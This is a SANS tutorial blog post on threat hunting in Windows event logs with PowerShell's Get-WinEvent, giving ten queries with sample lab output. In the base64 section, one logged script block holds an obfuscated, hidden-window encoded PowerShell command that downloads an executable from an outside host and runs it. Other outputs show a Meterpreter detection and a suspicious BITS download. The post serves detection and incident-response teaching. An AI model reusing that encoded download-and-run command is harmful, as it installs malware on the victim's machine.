Training
Get a free hour of SANS training

Experience SANS training through course previews.

Learn More
Learning Paths
Can't find what you are looking for?

Let us help.

Contact us
Resources
Join the SANS Community

Become a member for instant access to our free resources.

Sign Up
For Organizations
Interested in developing a training plan to fit your organization’s needs?

We're here to help.

Contact Us
Talk with an expert

Month of PowerShell - Working with the Event Log, Part 2 - Threat Hunting with Event Logs

We'll continue our look at working with the Windows event log using PowerShell with 10 threat hunting techniques.

Authored byJoshua Wright
Joshua Wright

#monthofpowershell

In part 1, we looked at the PowerShell command to work with the event log: [code]Get-WinEvent[/code]. We enumerating event log sources on Windows, and retrieved data from the event log using a filter hash table. We concluded with an example of using [code]Get-WinEvent[/code] with a date/time range to build a timeline of events when investigating an incident.

In this article we'll look at 10 practical examples of identifying threats using [code]Get-WinEvent[/code]. Threats are constantly changing so there will never be an exhaustive list of analysis techniques, but I hope these examples help you in your investigations and maybe inspire new threat hunting opportunities using the Windows event log.

Excessive Failed Logins

Event ID 4625 in the Security event log is An account failed to log on. Lots of logon failed events may indicate password guessing or password spray attacks. We can build a filter hash table to quickly return these entries:

PS C:\WINDOWS\system32> Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625 }

   ProviderName: Microsoft-Windows-Security-Auditing

TimeCreated                      Id LevelDisplayName Message
-----------                      -- ---------------- -------
7/12/2022 11:54:52 PM          4625 Information      An account failed to log on....
7/12/2022 11:54:52 PM          4625 Information      An account failed to log on....
7/12/2022 11:54:52 PM          4625 Information      An account failed to log on....
7/12/2022 11:54:52 PM          4625 Information      An account failed to log on....
...

This works to see the events, but we might want to see the quantity of logon failed messages. By adding the PowerShell command within parenthesis, we can retrieve the array properties for the returned objects, including [code]count[/code]:

PS C:\WINDOWS\system32> (Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4625 }).Count
36
PS C:\WINDOWS\system32>

You specify the threshold for what you think would be suspicious in your environment. This check is best implemented by adding a date/time range to the query as well, like we saw in part 1.

The Jake Williams List

We can also look for a list of specific event IDs that can indicate unauthorized access attempts including 4624 (an account was successfully logged on), 4634 (an account was logged off), 4672 (special privileges assigned to new logon), 4732 (a member was added to a security-enabled local group), 4648 (a logon was attempted using explicit credentials), 4688 (a new process has been created), and 4768 (a Kerberos authentication ticket (TGT) was requested). I keep this PowerShell query in a note labeled Jake Williams after seeing his excellent talk Seeing the Forest Through the Trees – Foundations of Event Log Analysis:

PS C:\WINDOWS\system32> Get-WinEvent -FilterHashTable @{ LogName = 'Security'; Id=4624,4634,4672,4732,4648,4688,4768 } | Format-List


TimeCreated  : 7/13/2022 12:37:06 AM
ProviderName : Microsoft-Windows-Security-Auditing
Id           : 4672
Message      : Special privileges assigned to new logon.

               Subject:
                Security ID:            S-1-5-18
                Account Name:           SYSTEM
                Account Domain:         NT AUTHORITY
                Logon ID:               0x3E7

               Privileges:              SeAssignPrimaryTokenPrivilege
                                SeTcbPrivilege
                                SeSecurityPrivilege
                                SeTakeOwnershipPrivilege
                                SeLoadDriverPrivilege
                                SeBackupPrivilege
                                SeRestorePrivilege
                                SeDebugPrivilege
                                SeAuditPrivilege
                                SeSystemEnvironmentPrivilege
                                SeImpersonatePrivilege
                                SeDelegateSessionUserImpersonatePrivilege

In this example, the event ID 4672 indicates that special privileges (e.g., admin privileges) were assigned to a new logon. Look for event ID 4624 that accompanies this event (with the same [code]TimeCreated[/code] date/time) to identify the account invoking this access and the associated network information (workstation name, source network address) to identify possible lateral movement within the environment.

Only Show Me the Criticals

[code]Get-WinEvent[/code] can filter using a severity level indicator, one of 6 numeric values:

Log LevelNumber
Comments (Verbose)5
Information4
Warning3
Error2
Critical1
LogAlways0

If you only want to see logging information of a specific log level, add the [code]Level[/code] attribute to the filter hash table:

PS C:\WINDOWS\system32> Get-WinEvent -FilterHashTable @{ LogName = 'System'; Level = 1 } |Format-List


TimeCreated  : 7/13/2022 12:11:41 AM
ProviderName : Microsoft-Windows-Kernel-Power
Id           : 41
Message      : The system has rebooted without cleanly shutting down first. This error
               could be caused if the system stopped responding, crashed, or lost power
               unexpectedly.

AppLocker Denied

AppLocker uses event ID 8004 in the [code]Microsoft-Windows-AppLocker/EXE and DLL[/code] log to record programs that are prevented from running. There's lots of ways to bypass AppLocker, but these events might be a good indicator of malicious activity prior to defense evasion:

PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-AppLocker/EXE and DLL'; Id=8004 } | Format-List -Property TimeCreated,Message


TimeCreated : 7/12/2022 12:36:06 PM
Message     : %OSDRIVE%\USERS\SEC504\APPDATA\LOCAL\TEMP\CALCACHE.EXE was prevented from running.

TimeCreated : 7/12/2022 11:37:45 AM
Message     : %OSDRIVE%\TOOLS\SHARPVIEW.EXE was prevented from running.

TimeCreated : 7/12/2022 11:37:45 AM
Message     : %OSDRIVE%\TOOLS\SHARPVIEW.EXE was prevented from running.

New Service Created

New services are a common persistence method on Windows. Fortunately, creating a new service is logged by default using event ID 7045 in the System log:

PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='System'; Id='7045';} | Format-List TimeCreated,Message


TimeCreated : 7/12/2022 12:36:06 PM
Message     : A service was installed in the system.

              Service Name:  Dynamics
              Service File Name:  C:\Tools\nssm.exe
              Service Type:  user mode service
              Service Start Type:  auto start
              Service Account:  LocalSystem

BITS Jobs

Windows Background Intelligent Transfer Service (BITS) jobs are a legitimate way to transfer files, but are often exploited by attackers to upload or download files. BITS jobs are recorded in [code]Microsoft-Windows-Bits-Client/Operational[/code] with event ID 59:

PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Bits-Client/Operational'; Id='59'} | Format-List TimeCreated,Message


TimeCreated : 7/13/2022 1:18:15 AM
Message     : BITS started the C:\Users\Sec504\AppData\Local\Temp\{B3C27651-579B-455E-8B0D-4441DBAECA2C}-103.0.5060.114_102
              .0.5005.115_chrome_updater.exe transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/rele
              ase2/chrome/acd5g6744td43h2xionzuaxlaheq_103.0.5060.114/103.0.5060.114_102.0.5005.115_chrome_updater.exe URL.

TimeCreated : 7/13/2022 1:15:59 AM
Message     : BITS started the BITS Transfer transfer job that is associated with the
              https://www.willhackforsushi.com/bitfit.exe URL.

TimeCreated : 7/13/2022 1:15:44 AM
Message     : BITS started the Font Download transfer job that is associated with the
              https://fs.microsoft.com/fs/windows/config.json URL.

Changes to the Windows Firewall

An attacker may modify the Windows Firewall settings to permit traffic for a specific program. This is recorded in the [code]Microsoft-Windows-Windows Firewall With Advanced Security/Firewall[/code] log as event ID 2004 (event ID 2006 is a deleted firewall rule).

PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Windows Firewall With Advanced Security/Firewall'; Id=2004,2006 } | Format-List


TimeCreated  : 7/13/2022 12:46:11 AM
ProviderName : Microsoft-Windows-Windows Firewall With Advanced Security
Id           : 2004
Message      : A rule has been added to the Windows Defender Firewall exception list.

               Added Rule:
                Rule ID:        {832669FD-1FAF-426C-872F-8E2B4E41AB2F}
                Rule Name:      ApacheBench command line utility
                Origin: Local
                Active: No
                Direction:      Inbound
                Profiles:       Domain
                Action: Allow
                Application Path:       C:\Tools\calcache.exe
                Service Name:
                Protocol:       UDP
                Security Options:       None
                Edge Traversal: None
                Modifying User: S-1-5-21-2977773840-2930198165-1551093962-1000
                Modifying Application:  C:\Windows\System32\dllhost.exe

Windows Defender Quarantine

Windows Defender quarantine events are recorded in [code]Microsoft-Windows-Windows Defender/Operational[/code]. Look for anything where [code]Data='Severe'[/code] as a hash table attribute:

PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Windows Defender/Operational'; Data='Severe'} | Format-List TimeCreated,Message


TimeCreated : 7/13/2022 1:22:19 AM
Message     : Microsoft Defender Antivirus has detected malware or other potentially unwanted software.
               For more information please see the following:
              https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Meterpreter.O&threatid=2147729928&enterprise=
              0
                Name: Trojan:Win32/Meterpreter.O
                ID: 2147729928
                Severity: Severe
                Category: Trojan
                Path: file:_C:\Users\Sec504\AppData\Local\Temp\calcache.exe;
              process:_pid:6808,ProcessStart:133021447586399451; regkey:_HKCU@S-1-5-21-2977773840-2930198165-1551093962-100
              0\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\\Calcache; runkey:_HKCU@S-1-5-21-2977773840-2930198165-155109
              3962-1000\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\\Calcache
                Detection Origin: Local machine
                Detection Type: Concrete
                Detection Source: User
                User: SEC504STUDENT\Sec504
                Process Name: C:\Users\Sec504\AppData\Local\Temp\calcache.exe
                Security intelligence Version: AV: 1.367.1829.0, AS: 1.367.1829.0, NIS: 0.0.0.0
                Engine Version: AM: 1.1.19200.6, NIS: 0.0.0.0

PowerShell Base64 Command Lines

The [code]Microsoft-Windows-PowerShell/Operational[/code] log captures the first invocation of a PowerShell script including the user executing the script, the date/time of execution, and the contents of the script itself with event ID 4104. The script invocation can come in the form of a script on disk, scripts executed through PowerShell ISE, scripts specified on the command line, or scripts executed through custom PowerShell components.

We can use [code]Get-WinEvent[/code] to identify the script blocks executed on the local system, looking for unusual behavior, such as long base64-encoded commands. To do this we need to use a regular expression: a language to match patterns of text. Here is a basic regular expression to match base64 text that that is 200 characters or more in length:

[code][A-Za-z0-9+/=]{200}[/code]

Let's break down this regular expression, step-by-step:

  • [code][[/code]: Start a list
  • [code]A-Za-z0-9+/=[/code]: Within the list, match any of these characters: A-Z, a-z, 0-9, +, /, =
  • [code]][/code]: End the list
  • [code]{200}[/code]: Quantifier; match 200 characters in the preceding list

PowerShell supports matching with regular expressions using the [code]Where-Object -Match[/code] parameter:

PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational'; Id='4104';} | Where-object -Property Message -Match "[A-Za-z0-9+/=]{200}" | Format-List -Property Message


Message : Creating Scriptblock text (1 of 1):
          poWERShElL.Exe -ExECutioNPolicy bYpAsS -NOPrOFiLe -WindOwsTyLe HiddEN -enCodEdCoMMANd IAAoAG4ARQB3AC0AbwBiAGoAZQB
          jAFQAIABTAHkAUwBUAGUAbQAuAE4AZQB0AC4AVwBFAGIAQwBsAGkARQBOAHQAKQAuAEQAbwB3AE4ATABvAGEARABGAEkAbABFACgAIAAdIGgAdAB0
          AHAAcwA6AC8ALwBhAHIAaQBoAGEAbgB0AHQAcgBhAGQAZQByAHMAbgBnAHAALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AUwBjAGEAbgBfADIALgBlA
          HgAZQAdICAALAAgAB0gJABlAG4AdgA6AFQARQBtAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0gIAApACAAOwAgAGkAbgBWAG8AawBFAC0ARQB4AF
          AAUgBlAHMAUwBJAG8ATgAgAB0gJABFAE4AdgA6AHQARQBNAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0g

          ScriptBlock ID: 9998ff14-4851-45e4-8aca-8b08753a2f42
          Path:

Filter Events by Username

One useful query is to look for Security event log ID 4720, a user account was created:

PS C:\WINDOWS\System32> Get-WinEvent -FilterHashtable @{ LogName='Security'; ID=4720 }  | Format-List -Property TimeCreated, Message


TimeCreated : 7/13/2022 11:08:48 AM
Message     : A user account was created.

              Subject:
                Security ID:            S-1-5-21-2977773840-2930198165-1551093962-1000
                Account Name:           Sec504
                Account Domain:         SEC504STUDENT
                Logon ID:               0x74530

              New Account:
                Security ID:            S-1-5-21-2977773840-2930198165-1551093962-1315
                Account Name:           assetmgr
                Account Domain:         SEC504STUDENT

              Attributes:
                SAM Account Name:       assetmgr
                Display Name:           <value not set>
                User Principal Name:    -
                Home Directory:         <value not set>
                Home Drive:             <value not set>
                Script Path:            <value not set>
                Profile Path:           <value not set>
                User Workstations:      <value not set>
                Password Last Set:      <never>
                Account Expires:                <never>
                Primary Group ID:       513
                Allowed To Delegate To: -
                Old UAC Value:          0x0
                New UAC Value:          0x15
                User Account Control:
                        Account Disabled
                        'Password Not Required' - Enabled
                        'Normal Account' - Enabled
                User Parameters:        <value not set>
                SID History:            -
                Logon Hours:            All

              Additional Information:
                Privileges              -

In this example we see that the account name Sec504 created a new local user account assetmgr. This might be a threat to investigate, but it could also be a normal event. Adding new user accounts isn't abnormal, so we might want to follow-up and see what we can learn about the assetmgr account.

You could use a date/time range, but that will include events other than those logged with the username assetmgr. What we want is the ability to filter events with a specific username.

While [code]Get-WinEvent[/code] returns a property [code]UserId[/code], it is almost always blank. The username information is populated in the [code]Message[/code] property. You could use the PowerShell pipeline to search for the string assetmgr anywhere in the [code]Message[/code] property, but that's going to be slow. Fortunately there is a better option: [code]-FilterXPath[/code].

The [code]Get-WinEvent -FilterXPath[/code] argument allows you to specify an XPath filter instead of a filter hash table. XPath filters are a little more complex, but they allow us to access the data stored in XML format within the event log record. Here's an example of using [code]-FilterXPath[/code] to search for other event logs where the username is assetmgr:

PS C:\WINDOWS\System32> Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='TargetUserName']='assetmgr']]" | Select-Object TimeCreated, Id, Message

TimeCreated             Id Message
-----------             -- -------
7/13/2022 11:10:23 AM 4624 An account was successfully logged on....
7/13/2022 11:09:42 AM 4634 An account was logged off....
7/13/2022 11:09:42 AM 4624 An account was successfully logged on....
7/13/2022 11:08:48 AM 4724 An attempt was made to reset an account's password....
7/13/2022 11:08:48 AM 4738 A user account was changed....
7/13/2022 11:08:48 AM 4722 A user account was enabled....
7/13/2022 11:08:48 AM 4720 A user account was created....

Conclusion

In this article we looked at 10 techniques for threat hunting with Windows event logs and PowerShell's [code]Get-WinEvent[/code] cmdlet. Next up in this series will be using a third-party function to make the data in the Message property much more accessible without awkward XPath filters. Stay tuned!

-Joshua Wright

Return to Getting Started With PowerShell


Joshua Wright is the author of SANS SEC504: Hacker Tools, Techniques, and Incident Handling, a faculty fellow for the SANS Institute, and a senior technical director at Counter Hack.

Month of PowerShell - Working with the Event Log, Part 2 - Threat Hunting with Event Logs | SANS Institute